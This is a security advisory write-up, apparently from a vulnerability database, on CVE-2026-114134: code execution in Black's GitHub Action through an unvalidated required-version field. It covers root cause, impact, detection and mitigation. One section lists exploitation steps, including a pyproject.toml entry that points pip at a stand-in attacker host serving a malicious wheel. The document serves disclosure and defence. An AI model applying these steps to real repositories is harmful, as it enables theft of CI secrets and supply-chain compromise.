CVE-2026-114134: 
Python Análisis y mitigación de vulnerabilidades

CVE-2026-114134 is a remote code execution vulnerability in the GitHub Action bundled with Black, the Python code formatter maintained by the Python Software Foundation (PSF). When the action is configured with use_pyproject: true, it reads the tool.black.required-version field from pyproject.toml without validating that the value is a legitimate released Black version specifier. An attacker with pull request access can set this field to a direct URL reference pointing to attacker-controlled code, causing the workflow to install and execute that code in the victim repository's GitHub Actions context. Affected versions are Black < 26.10.1 (specifically 26.9.0 and 26.10.0); the issue is fixed in 26.10.1. It carries a CVSS v4.0 base score of 8.7 (High) (Github Advisory, Black Security Advisory).

The root cause is improper validation of user-controlled input read from pyproject.toml (CWE-829: Inclusion of Functionality from Untrusted Control Sphere). In action/main.py, the read_version_specifier_from_pyproject() function retrieved the tool.black.required-version value and passed it directly to pip install without restricting it to valid version specifiers — allowing pip's direct reference syntax (e.g., @ https://attacker.example/malicious.whl) to be used. The fix in commit ac1f715 adds a regex validation step that only accepts standard PEP 440 version specifiers, rejecting URL references and other non-specifier strings, and exits with an error if the value is invalid (Black Security Advisory, Fix Commit). This vulnerability is similar to a previously reported issue tracked as CVE-2026-31900 (Github Advisory).

Successful exploitation grants an attacker arbitrary code execution within the victim repository's GitHub Actions runner environment. This allows the attacker to access secrets stored in the repository (e.g., API keys, deployment credentials, tokens), exfiltrate source code, tamper with build artifacts, or pivot to downstream systems accessible via those credentials. The impact is scoped to the GitHub Actions context of the victim repository, but the confidentiality, integrity, and availability of the vulnerable system are all rated High (Github Advisory, Black Security Advisory).

Exploitation requires low privileges — specifically, the ability to submit a pull request to a repository using Black's GitHub Action with use_pyproject: true. No user interaction beyond the normal CI workflow trigger is needed. No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the available data. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory, Feedly).

1. Reconnaissance: Identify target repositories on GitHub that use the psf/black GitHub Action with the use_pyproject: true configuration option in their workflow files (e.g., .github/workflows/*.yml).
2. Fork or prepare a PR: Fork the target repository or prepare a pull request branch with a modified pyproject.toml.
3. Craft malicious payload: Edit pyproject.toml to set tool.black.required-version to a pip direct reference pointing to attacker-controlled code, for example:

   [tool.black]
   required-version = "@ https://attacker.example/malicious_black.whl"

4. Submit the pull request: Open a pull request to the victim repository with the modified pyproject.toml. If the repository's CI is configured to run on pull request events, the Black GitHub Action will trigger automatically.
5. Code execution: The action reads the unvalidated required-version value and passes it to pip install black@ https://attacker.example/malicious_black.whl, installing and executing the attacker's code in the GitHub Actions runner context with access to repository secrets and environment variables (Black Security Advisory, Fix PR).

• Logs: GitHub Actions workflow logs showing pip install commands with URL-based (@) references instead of standard version specifiers for the black package; unexpected network connections to external hosts during the Black installation step.
• File System: Unexpected or unfamiliar .whl or package files downloaded during the GitHub Actions run; presence of files not associated with a legitimate Black release in the runner's temporary directories.
• Network: Outbound HTTP/HTTPS requests from the GitHub Actions runner to domains not associated with PyPI (pypi.org) or the psf/black GitHub repository during the Black installation step.
• Secrets/Environment: Evidence of repository secrets being accessed or exfiltrated (e.g., unexpected API calls using CI credentials, unauthorized access to cloud resources linked to repository secrets) (Black Security Advisory).

Update Black to version 26.10.1 or later, which validates tool.black.required-version against a strict version specifier regex and rejects URL references and other non-specifier values. Repositories using psf/black@stable receive this fix automatically without any configuration change. As a workaround, disable use_pyproject: true in the Black GitHub Action configuration until the update can be applied, or restrict pull request workflows to trusted contributors only. Auditing pyproject.toml for unexpected required-version values is also recommended (Black Release 26.10.1, Github Advisory).

The vulnerability was reported by security researcher jiteshgulati and disclosed by Black maintainer JelleZijlstra via GitHub's security advisory process. The Black project release notes explicitly encouraged all users of the bundled GitHub Action to update immediately, noting the fix is received automatically for users of psf/black@stable. The advisory notes similarity to a prior vulnerability (CVE-2026-31900), suggesting a pattern of supply-chain risk in CI/CD action configurations (Black Release 26.10.1, Black Security Advisory).